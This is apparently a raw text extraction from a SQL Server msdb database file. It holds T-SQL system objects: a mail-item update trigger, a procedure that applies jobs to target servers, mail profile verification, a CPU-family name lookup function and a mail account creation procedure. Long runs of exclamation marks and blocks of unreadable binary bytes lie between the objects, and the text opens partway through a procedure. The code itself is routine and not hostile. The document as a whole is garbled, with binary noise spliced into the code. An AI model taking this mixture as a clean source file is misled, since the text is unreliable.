      WHERE (target_server = @ServerName)
   end
  end

  if @Action = 0 Or @Action = 2 /* enlisting or updating existing enlistment */
  begin
   /* select resultset to return to the caller */
   SELECT 
   id,
   name, 
   enabled, 
   email_address, 
   pager_address, 
   netsend_address, 
   weekday_pager_start_time, 
   weekday_pager_end_time, 
   saturday_pager_start_time, 
   saturday_pager_end_time, 
   sunday_pager_start_time, 
   sunday_pager_end_time, 
   pager_days 
   FROM 
   msdb.dbo.sysoperators WHERE (name = N'MSXOperator')
   end
end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<
^-4Z0<"$P\??_:_:HBD?@dB@D?^[@+?ȃ@	G@7?@@0<"$]
/^?9@NE@/F]t,CZq)@Wn&=Tk#:Qh		 	7	N	e	|						

4
K
b
y





1H_v.E\s
+
B
Y
p






(?Vm%<Sj???@?I?B?ݘu?pA?U-?A?1?pA?]N?`A?L"?`A?K?@A?:?@A?!?pA?Gu?A?4B?B?NZ?pA??<B?M ?pA?uv?B?&?pA?wf?pA?@?pA??pA?G=?A??pA?r?pA??pA?/?pA??pA?-I?pA??<B??pA?<?A?c?A?mi?pA?C?pA??pA??pA?Zg?B??pA?_+?A?p?pA?H?pA?\?pA?E?pA?B?pA?_8?pA?y?pA??A?4?pA?wC?@??pA?36?pA?I?pA??pA??@?Ț?pA?r$S?pA?5?pA?P?@?[a?A?A:?pA?^?@?+?A??A?7?A???pA?=[?pA?8?@?P[?pA?y?pA?quA?@?&?pA?"?A?y/?pA?9{p?A?C?pA?1t?pA?_X?@?	p?pA?n?@?=?pA?v?pA?*,?pA?9O?pA??A?{i?pA??pA??pA?.?pA?!?pA?Jc9?A?$?pA??pA?(f?pA??pA?'&1?pA?
?pA?Gn?A?H.?A??pA?C?pA?.?pA?F%0?pA?R?pA??pA??pA?2?A?R?A?s?pA??pA??<B?>?pA?~?pA??pA?-?pA?@?pA?V?pA??|B?|*6?<B?
?A?jJ?|B??|B??|B?ґ%?B?B.?|B?b4?B?^=?A?.A?C? w?<B?g:|?A?l~?@???>\\@=K?7"x@@$@$,_?][@+:^?ȃ@Y2D?	G@7# ɕ?R&Y4@?@@Wg/@0<"$
/^?>99kBNE?@GB@NE?\\@?@$@^[@+?ȃ@	G@7?@@ȃ@Y2D?	G@7# ɕ?R&Y4@?@@Wg/@_:_:HBD?@dB@D?^[@+?ȃ@	G@7?@@?@@?KR[{?@@?vO|?@@?C}?@@?7~?@@???>	G@7# ɕ?R&Y4@?@@Wg/@VBD?@2B@ltD?	G@7?@@!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
[\<	,Y0HU 8
CREATE TRIGGER trig_sysmail_mailitems
ON msdb.dbo.sysmail_mailitems
FOR UPDATE
AS
BEGIN
   SET NOCOUNT ON  

   IF (TRIGGER_NESTLEVEL( OBJECT_ID('dbo.trig_sysmail_mailitems'), 'AFTER' , 'DML' ) <= 1) 
   BEGIN  
      UPDATE msdb.dbo.sysmail_mailitems 
      SET last_mod_date = GETDATE(), last_mod_user = SUSER_SNAME() 
      FROM sysmail_mailitems m, inserted i
      WHERE m.mailitem_id = i.mailitem_id
   END
END
0rU 8CREATE PROCEDURE sp_apply_job_to_targets
  @job_id               UNIQUEIDENTIFIER = NULL,   -- Must provide either this or job_name
  @job_name             sysname          = NULL,   -- Must provide either this or job_id
  @target_server_groups NVARCHAR(2048)   = NULL,   -- A comma-separated list of target server groups
  @target_servers       NVARCHAR(2048)   = NULL,   -- An comma-separated list of target servers
  @operation            VARCHAR(7)       = 'APPLY' -- Or 'REMOVE'
AS
BEGIN
  DECLARE @retval        INT
  DECLARE @rows_affected INT
  DECLARE @server_name   sysname
  DECLARE @groups        NVARCHAR(2048)
  DECLARE @group         sysname
  DECLARE @servers       NVARCHAR(2048)
  DECLARE @server        sysname
  DECLARE @pos_of_comma  INT

  SET NOCOUNT ON

  -- Only a sysadmin can do this
  IF (ISNULL(IS_SRVROLEMEMBER(N'sysadmin'), 0) <> 1)
  BEGIN
    RAISERROR(15003, 16, 1, N'sysadmin')
    RETURN(1) -- Failure
  END

  -- Remove any leading/trailing spaces from parameters
  SELECT @target_server_groups = LTRIM(RTRIM(@target_server_groups))
  SELECT @target_servers       = UPPER(LTRIM(RTRIM(@target_servers)))
  SELECT @operation            = LTRIM(RTRIM(@operation))

  -- Turn [nullable] empty string parameters into NULLs
  IF (@target_server_groups = NULL) SELECT @target_server_groups = NULL
  IF (@target_servers       = NULL) SELECT @target_servers = NULL
  IF (@operation            = NULL) SELECT @operation = NULL

  EXECUTE @retval = sp_verify_job_identifiers '@job_name',
                                              '@job_id',
                                               @job_name OUTPUT,
                                               @job_id   OUTPUT
  IF (@retval <> 0)
    RETURN(1) -- Failure

  -- Check operation type
  IF ((@operation <> 'APPLY') AND (@operation <> 'REMOVE'))
  BEGIN
    RAISERROR(14266, -1, -1, '@operation', 'APPLY, REMOVE')
    RETURN(1) -- Failure
  END

  -- Check that we have a target server group list and/or a target server list
  IF ((@target_server_groups IS NULL) AND (@target_servers IS NULL))
  BEGIN
    RAISERROR(14283, -1, -1)
    RETURN(1) -- Failure
  END

  DECLARE @temp_groups TABLE (group_name sysname COLLATE database_default NOT NULL)
  DECLARE @temp_server_name TABLE (server_name sysname COLLATE database_default NOT NULL)

  -- Parse the Target Server comma-separated list (if supplied)
  IF (@target_servers IS NOT NULL)
  BEGIN
    SELECT @servers = @target_servers
    SELECT @pos_of_comma = CHARINDEX(N',', @servers)
    WHILE (@pos_of_comma <> 0)
    BEGIN
      SELECT @server = SUBSTRING(@servers, 1, @pos_of_comma - 1)
      INSERT INTO @temp_server_name (server_name) VALUES (LTRIM(RTRIM(@server)))
      SELECT @servers = RIGHT(@servers, (DATALENGTH(@servers) / 2) - @pos_of_comma)
      SELECT @pos_of_comma = CHARINDEX(N',', @servers)
    END
    INSERT INTO @temp_server_name (server_name) VALUES (LTRIM(RTRIM(@servers)))
  END

  -- Parse the Target Server Groups comma-separated list
  IF (@target_server_groups IS NOT NULL)
  BEGIN
    SELECT @groups = @target_server_groups
    SELECT @pos_of_comma = CHARINDEX(N',', @groups)
    WHILE (@pos_of_comma <> 0)
    BEGIN
      SELECT @group = SUBSTRING(@groups, 1, @pos_of_comma - 1)
      INSERT INTO @temp_groups (group_name) VALUES (LTRIM(RTRIM(@group)))
      SELECT @groups = RIGHT(@groups, (DATALENGTH(@groups) / 2) - @pos_of_comma)
      SELECT @pos_of_comma = CHARINDEX(N',', @groups)
    END
    INSERT INTO @temp_groups (group_name) VALUES (LTRIM(RTRIM(@groups)))
  END

  -- Check server groups
  SET ROWCOUNT 1 -- We do this so that we catch the FIRST invalid group
  SELECT @group = NULL
  SELECT @group = group_name
  FROM @temp_groups
  WHERE group_name NOT IN (SELECT name
                           FROM msdb.dbo.systargetservergroups)
  IF (@group IS NOT NULL)
  BEGIN
    RAISERROR(14262, -1, -1, '@target_server_groups', @group)
    RETURN(1) -- Failure
  END
  SET ROWCOUNT 0

  -- Find the distinct list of servers being targeted
  INSERT INTO @temp_server_name (server_name)
  SELECT DISTINCT sts.server_name
  FROM msdb.dbo.systargetservergroups       stsg,
       msdb.dbo.systargetservergroupmembers stsgm,
       msdb.dbo.systargetservers            sts
  WHERE (stsg.name IN (SELECT group_name FROM @temp_groups))
    AND (stsg.servergroup_id = stsgm.servergroup_id)
    AND (stsgm.server_id = sts.server_id)
    AND (UPPER(sts.server_name) NOT IN (SELECT server_name
                                        FROM @temp_server_name))

  IF (@operation = 'APPLY')
  BEGIN
    -- Remove those servers to which the job has already been applied
    DELETE FROM @temp_server_name
    WHERE server_name IN (SELECT sts.server_name
                          FROM msdb.dbo.sysjobservers    sjs,
                               msdb.dbo.systargetservers sts
                          WHERE (sjs.job_id = @job_id)
                            AND (sjs.server_id = sts.server_id))
  END

  IF (@operation = 'REMOVE')
  BEGIN
    -- Remove those servers to which the job is not currently applied
    DELETE FROM @temp_server_name
    WHERE server_name NOT IN (SELECT sts.server_name
                              FROM msdb.dbo.sysjobservers    sjs,
                                   msdb.dbo.systargetservers sts
                              WHERE (sjs.job_id = @job_id)
                                AND (sjs.server_id = sts.server_id))
  END

  SELECT @rows_affected = COUNT(*)
  FROM @temp_server_name

  SET ROWCOUNT 1
  WHILE (EXISTS (SELECT *
                 FROM @temp_server_name))
  BEGIN
    SELECT @server_name = server_name
    FROM @temp_server_name
    IF (@operation = 'APPLY')
      EXECUTE sp_add_jobserver @job_id = @job_id, @server_name = @server_name
    ELSE
    IF (@operation = 'REMOVE')
      EXECUTE sp_delete_jobserver @job_id = @job_id, @server_name = @server_name
    DELETE FROM @temp_server_name
    WHERE (server_name = @server_name)
  END
  SET ROWCOUNT 0

  IF (@operation = 'APPLY')
    RAISERROR(14240, 0, 1, @rows_affected)
  IF (@operation = 'REMOVE')
    RAISERROR(14241, 0, 1, @rows_affected)

  RETURN(0) -- Success
END
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!2`.<FMox0׶l\ 8
CREATE PROCEDURE dbo.sysmail_verify_profile_sp
   @profile_id int,
   @profile_name sysname,
   @allow_both_nulls bit,
   @allow_id_name_mismatch bit,
   @profileid int OUTPUT
AS
   IF @allow_both_nulls = 0
   BEGIN
      -- at least one parameter must be supplied
      IF (@profile_id IS NULL AND @profile_name IS NULL)
      BEGIN
         RAISERROR(14604, -1, -1, 'profile') 
         RETURN(1)
      END
   END
   
   IF ((@allow_id_name_mismatch = 0) AND (@profile_id IS NOT NULL AND @profile_name IS NOT NULL)) -- use both parameters
   BEGIN
      SELECT @profileid = profile_id FROM msdb.dbo.sysmail_profile WHERE profile_id=@profile_id AND name=@profile_name
      IF (@profileid IS NULL) -- id and name do not match
      BEGIN
         RAISERROR(14605, -1, -1, 'profile')
         RETURN(2)
      END      
   END
   ELSE IF (@profile_id IS NOT NULL) -- use id
   BEGIN
      SELECT @profileid = profile_id FROM msdb.dbo.sysmail_profile WHERE profile_id=@profile_id
      IF (@profileid IS NULL) -- id is invalid
      BEGIN
         RAISERROR(14606, -1, -1, 'profile')
         RETURN(3)
      END      
   END
   ELSE IF (@profile_name IS NOT NULL) -- use name
   BEGIN
      SELECT @profileid = profile_id FROM msdb.dbo.sysmail_profile WHERE name=@profile_name
      IF (@profileid IS NULL) -- name is invalid
      BEGIN
         RAISERROR(14607, -1, -1, 'profile')
         RETURN(4)
      END      
   END
   RETURN(0) -- SUCCESS
0h\ _8CREATE FUNCTION [dbo].[fn_sysutility_mi_get_cpu_family_name](@family INT)
RETURNS NVARCHAR(128)
AS
BEGIN
   DECLARE @family_name NVARCHAR(128) = N''
   SELECT @family_name = 
      CASE 
         WHEN @family = 1 THEN 'Other'
         WHEN @family = 2 THEN 'Unknown'
         WHEN @family = 3 THEN '8086'
         WHEN @family = 4 THEN '80286'
         WHEN @family = 5 THEN 'Intel386 Processor'
         WHEN @family = 6 THEN 'Intel486 Processor'
         WHEN @family = 7 THEN '8087'
         WHEN @family = 8 THEN '80287'
         WHEN @family = 9 THEN '80387'
         WHEN @family = 10 THEN '80487'
         WHEN @family = 11 THEN 'Pentium Brand'
         WHEN @family = 12 THEN 'Pentium Pro'
         WHEN @family = 13 THEN 'Pentium II'
         WHEN @family = 14 THEN 'Pentium Processor with MMX Technology'
         WHEN @family = 15 THEN 'Celeron'
         WHEN @family = 16 THEN 'Pentium II Xeon'
         WHEN @family = 17 THEN 'Pentium III'
         WHEN @family = 18 THEN 'M1 Family'
         WHEN @family = 19 THEN 'M2 Family'
         WHEN @family = 24 THEN 'AMD Duron Processor Family'
         WHEN @family = 25 THEN 'K5 Family'
         WHEN @family = 26 THEN 'K6 Family'
         WHEN @family = 27 THEN 'K6-2'
         WHEN @family = 28 THEN 'K6-3'
         WHEN @family = 29 THEN 'AMD Athlon Processor Family'
         WHEN @family = 30 THEN 'AMD2900 Family'
         WHEN @family = 31 THEN 'K6-2+'
         WHEN @family = 32 THEN 'Power PC Family'
         WHEN @family = 33 THEN 'Power PC 601'
         WHEN @family = 34 THEN 'Power PC 603'
         WHEN @family = 35 THEN 'Power PC 603+'
         WHEN @family = 36 THEN 'Power PC 604'
         WHEN @family = 37 THEN 'Power PC 620'
         WHEN @family = 38 THEN 'Power PC X704'
         WHEN @family = 39 THEN 'Power PC 750'
         WHEN @family = 48 THEN 'Alpha Family'
         WHEN @family = 49 THEN 'Alpha 21064'
         WHEN @family = 50 THEN 'Alpha 21066'
         WHEN @family = 51 THEN 'Alpha 21164'
         WHEN @family = 52 THEN 'Alpha 21164PC'
         WHEN @family = 53 THEN 'Alpha 21164a'
         WHEN @family = 54 THEN 'Alpha 21264'
         WHEN @family = 55 THEN 'Alpha 21364'
         WHEN @family = 64 THEN 'MIPS Family'
         WHEN @family = 65 THEN 'MIPS R4000'
         WHEN @family = 66 THEN 'MIPS R4200'
         WHEN @family = 67 THEN 'MIPS R4400'
         WHEN @family = 68 THEN 'MIPS R4600'
         WHEN @family = 69 THEN 'MIPS R10000'
         WHEN @family = 80 THEN 'SPARC Family'
         WHEN @family = 81 THEN 'SuperSPARC'
         WHEN @family = 82 THEN 'microSPARC II'
         WHEN @family = 83 THEN 'microSPARC IIep'
         WHEN @family = 84 THEN 'UltraSPARC'
         WHEN @family = 85 THEN 'UltraSPARC II'
         WHEN @family = 86 THEN 'UltraSPARC IIi'
         WHEN @family = 87 THEN 'UltraSPARC III'
         WHEN @family = 88 THEN 'UltraSPARC IIIi'
         WHEN @family = 96 THEN '68040'
         WHEN @family = 97 THEN '68xxx Family'
         WHEN @family = 98 THEN '68000'
         WHEN @family = 99 THEN '68010'
         WHEN @family = 100 THEN '68020'
         WHEN @family = 101 THEN '68030'
         WHEN @family = 112 THEN 'Hobbit Family'
         WHEN @family = 120 THEN 'Crusoe TM5000 Family'
         WHEN @family = 121 THEN 'Crusoe TM3000 Family'
         WHEN @family = 122 THEN 'Efficeon TM8000 Family'
         WHEN @family = 128 THEN 'Weitek'
         WHEN @family = 130 THEN 'Itanium Processor'
         WHEN @family = 131 THEN 'AMD Athlon 64 Processor Family'
         WHEN @family = 132 THEN 'AMD Opteron Processor Family'
         WHEN @family = 144 THEN 'PA-RISC Family'
         WHEN @family = 145 THEN 'PA-RISC 8500'
         WHEN @family = 146 THEN 'PA-RISC 8000'
         WHEN @family = 147 THEN 'PA-RISC 7300LC'
         WHEN @family = 148 THEN 'PA-RISC 7200'
         WHEN @family = 149 THEN 'PA-RISC 7100LC'
         WHEN @family = 150 THEN 'PA-RISC 7100'
         WHEN @family = 160 THEN 'V30 Family'
         WHEN @family = 176 THEN 'Pentium III Xeon Processor'
         WHEN @family = 177 THEN 'Pentium III Processor with Intel SpeedStep Technology'
         WHEN @family = 178 THEN 'Pentium 4'
         WHEN @family = 179 THEN 'Intel Xeon'
         WHEN @family = 180 THEN 'AS400 Family'
         WHEN @family = 181 THEN 'Intel Xeon Processor MP'
         WHEN @family = 182 THEN 'AMD Athlon XP Family'
         WHEN @family = 183 THEN 'AMD Athlon MP Family'
         WHEN @family = 184 THEN 'Intel Itanium 2'
         WHEN @family = 185 THEN 'Intel Pentium M Processor'
         WHEN @family = 190 THEN 'K7'
         WHEN @family = 200 THEN 'IBM390 Family'
         WHEN @family = 201 THEN 'G4'
         WHEN @family = 202 THEN 'G5'
         WHEN @family = 203 THEN 'G6'
         WHEN @family = 204 THEN 'z/Architecture Base'
         WHEN @family = 250 THEN 'i860'
         WHEN @family = 251 THEN 'i960'
         WHEN @family = 260 THEN 'SH-3'
         WHEN @family = 261 THEN 'SH-4'
         WHEN @family = 280 THEN 'ARM'
         WHEN @family = 281 THEN 'StrongARM'
         WHEN @family = 300 THEN '6x86'
         WHEN @family = 301 THEN 'MediaGX'
         WHEN @family = 302 THEN 'MII'
         WHEN @family = 320 THEN 'WinChip'
         WHEN @family = 350 THEN 'DSP'
         WHEN @family = 500 THEN 'Video Processor'
      END
   RETURN @family_name
END
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!W
NuW` <%IP 0e@ 
8
CREATE PROCEDURE dbo.sysmail_add_account_sp
   @account_name sysname,
   @email_address nvarchar(128),
   @display_name nvarchar(128) = NULL,
   @replyto_address nvarchar(128) = NULL,
   @description nvarchar(256) = NULL,  
   @mailserver_name sysname = NULL, -- the following fields are part of server definition
   @mailserver_type sysname = N'SMTP',
   @port int = 25,
   @username nvarchar(128) = NULL,
   @password nvarchar(128) = NULL,
   @use_default_credentials bit = 0,
   @enable_ssl bit = 0,
   @account_id int = NULL OUTPUT
AS
   SET NOCOUNT ON
   DECLARE @rc int
   DECLARE @credential_id int

   EXEC @rc = msdb.dbo.sysmail_verify_accountparams_sp
            @use_default_credentials = @use_default_credentials,
            @mailserver_type = @mailserver_type OUTPUT, -- validates and returns trimmed value
            @username = @username OUTPUT, -- returns trimmed value, NULL if empty
            @password = @password OUTPUT  -- returns trimmed value, NULL if empty
   IF(@rc <> 0)
      RETURN (1)

   EXEC @rc = msdb.dbo.sysmail_verify_addressparams_sp @address = @replyto_address, @parameter_name='@replyto_address'
   IF (@rc <> 0)
      RETURN @rc

   --transact this in case sysmail_create_user_credential_sp fails
   BEGIN TRANSACTION

   -- insert new account record, rely on primary key constraint to error out
   INSERT INTO msdb.dbo.sysmail_account (name,description,email_address,display_name,replyto_address) 
   VALUES (@account_name,@description,@email_address,@display_name,@replyto_address)
   IF (@@ERROR <> 0)
   BEGIN
      ROLLBACK TRANSACTION
      RETURN (2)
   END
   
   -- fetch back account_id
   SELECT @account_id = account_id FROM msdb.dbo.sysmail_account WHERE name = @account_name

   IF (@mailserver_name IS NULL) -- use local server as default
      SELECT @mailserver_name=@@SERVERNAME

   --create a credential in the credential store if a password needs to be stored
   IF(@username IS NOT NULL)
   BEGIN
      EXEC @rc = msdb.dbo.sysmail_create_user_credential_sp
                     @username,
                     @password,
                     @credential_id OUTPUT
      IF(@rc <> 0)
      BEGIN 
         ROLLBACK TRANSACTION
         RETURN (3)
      END
   END
   
   INSERT INTO msdb.dbo.sysmail_server (account_id,servertype,servername,port,username,credential_id,use_default_credentials,enable_ssl) 
   VALUES (@account_id,@mailserver_type,@mailserver_name,@port,@username,@credential_id,@use_default_credentials,@enable_ssl)
   IF (@@ERROR <> 0)
   BEGIN
      ROLLBACK TRANSACTION
      RETURN (4)
   END

   COMMIT TRANSACTION
   RETURN(0)
